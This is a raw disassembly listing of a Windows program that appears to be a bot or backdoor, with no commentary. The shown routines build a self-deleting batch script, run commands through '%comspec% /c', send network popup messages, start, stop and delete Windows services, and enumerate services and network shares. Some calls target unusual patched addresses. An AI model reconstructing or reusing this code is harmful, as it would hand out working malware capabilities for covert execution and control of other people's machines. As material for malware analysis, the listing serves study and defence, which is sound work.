		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2700000h
		nop
		push	edi
		nop
		call	near ptr 267093Fh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_4429D8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A01F7h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26A0129h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 26A0000h
		nop


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2820000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2670C5Bh


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26E05A1h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4D07A4
		push	edi
		push	eax
		call	dword_4D07B4
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_43E248


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_43E220
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43E1F0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E05A1h
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26C0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26C041Bh
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27A049Ah
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_43E270[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_43E26C[esi]
		push	offset unk_43E380


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4E08A0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43E354
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4E08A0
		push	off_43E268[eax*4]
		push	offset unk_43E330
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4D0818
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2690A97h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4D0700
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2690A97h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4D076C
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4D0708
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4D0770


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2690A97h
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4D071C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4D071C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4E01E0
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4E01E0
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4E01E0
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4D0818
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4D07E4
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2690A97h
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4D071C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4E049C
		push	off_43E268[eax*4]
		push	offset unk_43E914
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4E049C
		push	off_43E26C[eax*4]
		push	offset dword_43E8F8
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4E049C
		lea	eax, [eax+eax*2]
		push	off_43E268[eax*4]
		push	offset unk_43E8D4
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4E069C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4E069C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4E043C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4E043C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4E043C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4D0718
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4D06F0
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4D0768
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_43E960
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4D070C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
